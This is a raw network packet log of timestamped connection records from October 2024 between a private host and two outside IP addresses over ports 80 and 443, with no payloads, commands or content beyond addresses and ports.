Oct 7, 2024 21:18:52.373677969 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.373991966 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.374005079 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.374388933 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.374393940 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.375049114 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.375056982 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.375121117 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.375433922 CEST	49934	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.375447989 CEST	443	49934	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.375535011 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.375602007 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.375612020 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.375623941 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.376332045 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.376367092 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.376538992 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.376728058 CEST	49935	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.376745939 CEST	443	49935	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.417476892 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.417496920 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.417512894 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.417541027 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.417556047 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.417598009 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.417614937 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.417654991 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.418026924 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.418059111 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.418082952 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.418092012 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.418112040 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.418128014 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.418138981 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.418163061 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.418199062 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.418221951 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.418961048 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.418997049 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.419020891 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.419029951 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.419040918 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.419074059 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.419081926 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.419116020 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.419125080 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.419157982 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.419951916 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.420003891 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.420053005 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.420346975 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.420392036 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.422571898 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.422626019 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.422681093 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.479216099 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.479274988 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.479374886 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.479397058 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.479412079 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.479438066 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.479461908 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500174999 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500231981 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500267982 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500288010 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500302076 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500312090 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500359058 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500399113 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500449896 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500449896 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500484943 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500502110 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500519991 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500533104 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500571966 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.500611067 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500646114 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.500689983 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.501722097 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.501775980 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.501791000 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.501800060 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.501811028 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.501832008 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.501940966 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.501956940 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.501971960 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.501990080 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502003908 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502074957 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502089977 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502105951 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502120972 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502132893 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502135992 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502144098 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502151966 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502171040 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502194881 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502376080 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502392054 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502420902 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502433062 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502526999 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502541065 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502576113 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502590895 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.502626896 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502640009 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.502685070 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.512892008 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.513561964 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.513608932 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.513617039 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.513655901 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.513716936 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.513725996 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.513739109 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.513742924 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.514305115 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.514466047 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.514528036 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.515060902 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.515074015 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.515105009 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.515110970 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.517075062 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.517096996 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.517173052 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.517690897 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.517733097 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.517787933 CEST	49936	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.517800093 CEST	443	49936	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.517815113 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.517940044 CEST	49937	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.517961979 CEST	443	49937	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.565371990 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565412998 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565429926 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565474033 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565474987 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.565490961 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565517902 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.565546036 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.565561056 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565576077 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565592051 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.565603018 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.565629005 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.565668106 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.566082001 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584489107 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584518909 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584536076 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584594011 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584608078 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584657907 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584675074 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584691048 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584707975 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584708929 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584731102 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584753990 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584860086 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584876060 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584892035 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.584908962 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584935904 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.584996939 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585012913 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585041046 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585074902 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585109949 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585125923 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585141897 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585165024 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585190058 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585326910 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585344076 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585359097 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585375071 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585391045 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585393906 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585417032 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585429907 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585853100 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585925102 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585932970 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.585978985 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.585988045 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586004972 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586045027 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.586131096 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586146116 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586162090 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586170912 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.586178064 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586196899 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.586222887 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.586280107 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586297035 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.586338043 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.587043047 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587083101 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587136984 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.587157965 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587192059 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587204933 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.587228060 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587243080 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.587263107 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587272882 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.587310076 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.587358952 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587414026 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587419033 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.587450027 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.587497950 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651453018 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651510000 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651541948 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651577950 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651601076 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651633978 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651660919 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651695013 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651709080 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651730061 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651741028 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651763916 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651772976 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651798010 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651807070 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651830912 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651840925 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651865959 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651875019 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651909113 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651918888 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.651967049 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.651971102 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652007103 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652015924 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652040958 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652049065 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652076006 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652084112 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652111053 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652118921 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652144909 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652153969 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652189970 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652211905 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652244091 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652256966 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652277946 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.652287960 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.652321100 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.665723085 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.665752888 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.665786982 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.665818930 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.665838957 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.665858030 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.665874004 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.665896893 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.665910959 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.665920973 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.665945053 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.665993929 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666017056 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666066885 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666069984 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666102886 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666111946 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666136980 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666142941 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666177034 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666203976 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666238070 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666264057 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666273117 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666279078 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666312933 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666317940 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666344881 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666352987 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666378021 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666421890 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666793108 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666826963 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666851044 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666861057 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666877031 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666913033 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666913986 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666946888 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666970968 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.666980982 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.666990042 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667015076 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667048931 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667056084 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667088032 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667114019 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667119980 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667124987 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667402029 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667448044 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667455912 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667490005 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667496920 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667530060 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667541981 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667574883 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667584896 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667609930 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667613029 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667644024 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667648077 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667682886 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667723894 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667757034 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667776108 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667790890 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667802095 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667844057 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.667859077 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667893887 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667928934 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.667942047 CEST	49932	80	192.168.2.5	147.45.44.104
